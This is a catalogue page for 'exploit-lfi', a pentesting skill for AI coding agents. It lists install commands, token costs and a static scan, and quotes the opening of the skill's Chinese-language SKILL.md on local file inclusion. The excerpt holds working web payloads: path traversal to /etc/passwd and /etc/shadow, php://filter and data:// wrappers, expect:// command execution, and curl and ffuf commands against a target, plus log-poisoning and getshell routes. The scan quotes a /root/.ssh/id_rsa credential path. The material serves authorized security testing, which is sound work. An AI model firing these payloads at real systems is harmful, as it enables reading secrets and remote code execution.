exploit-lfi

exploit-lfi is a skill for Claude Code, Codex from crazyMarky/pentest-skills. It costs 79 tokens per session (3,156 once invoked), scanned B, original, Apache-2.0.

A security-testing procedure for finding and exploiting local file inclusion, a web flaw where user input controls which server file is loaded. It covers path traversal, PHP stream wrappers, sensitive-file reading, and possible code execution.

In plain words
What is it for?
Use it for authorized testing of file, page, include, path, or similar parameters, including operating-system detection and checks for common local-file-inclusion payloads.
Why use it?
It helps identify whether an application exposes local files or can be made to execute injected content through an unsafe file-loading parameter.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one. Also seen: reads .claude/ paths; positional $N argument.

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/crazymarky/pentest-skills/exploit-lfi
Any agent
npx skills add crazyMarky/pentest-skills --skill exploit-lfi
Clone the repo
git clone --depth 1 https://github.com/crazyMarky/pentest-skills

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for exploit-lfi

README.md
[![agentmods](https://agentmods.dev/badge/skills/crazymarky/pentest-skills/exploit-lfi.svg)](https://agentmods.dev/skills/crazymarky/pentest-skills/exploit-lfi)
Your own site
<a href="https://agentmods.dev/skills/crazymarky/pentest-skills/exploit-lfi"><img src="https://agentmods.dev/badge/skills/crazymarky/pentest-skills/exploit-lfi.svg" alt="Measured on agentmods" height="20"></a>
Per session 79 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 3,156 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 2 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00079 $0.03156
Opus 5 $0.00039 $0.01578
Sonnet 5 $0.00016 $0.00631
Haiku 4.5 $0.00008 $0.00316

Measured 6d ago against content hash f9c44184aa18, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-05, from the pricing page.

Security

Grade B, and why

exploit-lfi scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.

The scan reads SKILL.md. This mod also ships 4 executable files (scripts/lfi_bypass_tester.py, scripts/lfi_detector.py, scripts/lfi_exploiter.py, …), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Reaches for credential filesmediumPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

/root/.ssh/id_rsa

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

description: 本地文件包含 (LFI) 漏洞检测和利用工具。使用 curl、ffuf 等工具测试 LFI 漏洞,支持路径遍历、PHP 伪协议利用、日志投毒 RCE、敏感文件读取。当用户需要检测 LFI 漏洞、利用文件包含漏洞读取服务器文件时使用此技能。
exploit-lfi/SKILL.md · 380 lines

How it starts

The opening of the file, as written. The whole thing — 380 lines — stays where its author put it; the contents beside it link to each section on GitHub.

本地文件包含 (LFI) 检测和利用

概述

本 Skill 专注于本地文件包含 (LFI) 类型漏洞的检测与利用。

LFI 漏洞发生在应用程序将用户输入直接用作文件路径或在未正确验证的情况下包含文件时。攻击者可通过路径遍历或伪协议读取敏感文件、执行任意代码。

与 exploit-file-download 的区别

  • LFI: 参数值被 include() 或保存为文件内容,危害=代码执行 (RCE)
  • 文件下载: 参数值用于下载文件到本地,危害=信息泄露

核心功能

1. LFI 漏洞检测

自动识别以下 LFI 特征:

  • 参数模式识别: filepageincludedirdocumentpathcontenttitle
  • 文件包含模式: 参数值被直接用作 include()require() 的文件路径
  • 目录遍历模式: ../ 序列用于遍历目录
  • 伪协议利用: php://filterphp://inputdata:expect://
  • 响应特征分析: 识别 Linux/Windows 文件内容特征

2. 操作系统自动检测

测试时自动识别目标 OS:

OS 特征文件 测试路径
Linux /etc/passwd 内容:root:x:0:0: /etc/passwd, /etc/shadow
Windows C:\Windows\win.ini 内容:[fonts], [extensions] C:\Windows\win.ini, C:\Windows\System32\drivers\etc\hosts

3. 常见 LFI Payload

类型 Payload 适用场景
路径遍历 ?title=../../../etc/passwd 基础目录遍历
伪协议读取 ?file=php://filter/convert.base64-encode/resource=/etc/passwd 读取敏感文件源码
数据注入 ?file=data://text/plain;base64,PD9waHAgc3l... 代码注入
命令执行 ?file=expect://ls RCE(需 expect 扩展)

4. LFI 利用场景

  • 源码读取: 使用 php://filter 读取 PHP 源码进行分析
  • 配置获取: 读取数据库配置文件获取凭证
  • 日志投毒: 通过 LFI 写入日志获取 RCE
  • 临时文件: 配合文件上传 getshell
  • /proc/self/environ: 通过环境变量注入实现 RCE

工具安装

必备工具

# curl - HTTP 请求工具(通常已预装)
# macOS
brew install curl

# Ubuntu/Debian
apt-get install curl

# ffuf - 快速 Web 模糊测试工具
go install github.com/ffuf/ffuf@latest

使用方式

快速开始

# 基础 LFI 测试 - 路径遍历
curl -s "https://target.com/page.php?file=../../../etc/passwd"

# 测试伪协议
curl -s "https://target.com/page.php?file=php://filter/convert.base64-encode/resource=/etc/passwd"

# 使用 ffuf 批量测试 LFI payload
ffuf -u "https://target.com/page.php?file=FUZZ" -w lfi_payloads.txt -mc 200

常见测试场景

1. 基础路径遍历
# 测试 1-6 层遍历深度
curl "https://target.com/vul.php?file=../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../../etc/passwd"

# 使用 ffuf 自动化测试
ffuf -u "https://target.com/vul.php?file=FUZZetc/passwd" \
     -w <(seq 1 10 | sed 's/^/\.\.\//') \
     -mc 200 \
     -mr "root:x:0:0"

Read the full file on GitHub · 380 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 6d ago First seen · 380 lines · 79 tokens per session scan B f9c44184aa18

Subscribe to this mod's changes

exploit-lfi is a skill published in the GitHub repository crazyMarky/pentest-skills (303 stars, last pushed 3mo ago), licensed Apache-2.0. It adds 79 tokens to every session and 3,156 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it B with 2 findings (reaches for credential files, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

Related

Other skills, from other repositories

incident-response-fileanalyser

Static malware reverse-engineering and threat-intelligence triage for unknown files, Windows EXE/PE binaries, scripts, archives, ISOs, JavaScript, PowerShell, documents, and unpacked payloads. Use when a user provides a sample path, hash, filename, or file and asks whether it is malicious, benign, suspicious, contains…

crtvrffnrt/skills · 104 tokens

pentest-cve-vulnerability-research-helper

CVE and vulnerability research skill for exact CVE lookup, product/version applicability, exploit maturity, KEV/PoC status, source ranking, contradiction handling, and non-destructive validation guidance.

crtvrffnrt/skills · 49 tokens

pentest-web-enumeration

Authorized web enumeration for one or many websites or web applications, including live-target normalization, HTTP and TLS fingerprinting, technology and platform identification, virtual-host discovery, crawling, JavaScript and API endpoint extraction, focused directory and sensitive-file discovery, CMS-specific…

crtvrffnrt/skills · 101 tokens

pentest-hacktricks-finder

Support skill for HackTricks technique research, payload ideas, bypasses, prerequisites, caveats, and edge-case behavior across web, network, cloud, and application security topics. Use as owner only when research is the current blocker.

crtvrffnrt/skills · 56 tokens

incident-response-bec

BEC and AiTM incident-response skill for suspicious sign-ins, mailbox abuse, forwarding, inbox rules, session theft, token replay, consent abuse, and secondary phishing.

crtvrffnrt/skills · 38 tokens

incident-response-main

Defensive incident-response companion for Microsoft Entra ID, Microsoft 365, Defender, and mixed identity or endpoint incidents. Use for sign-in triage, public-IP enrichment, initial scoping, containment planning, and analyst-ready notes.

crtvrffnrt/skills · 51 tokens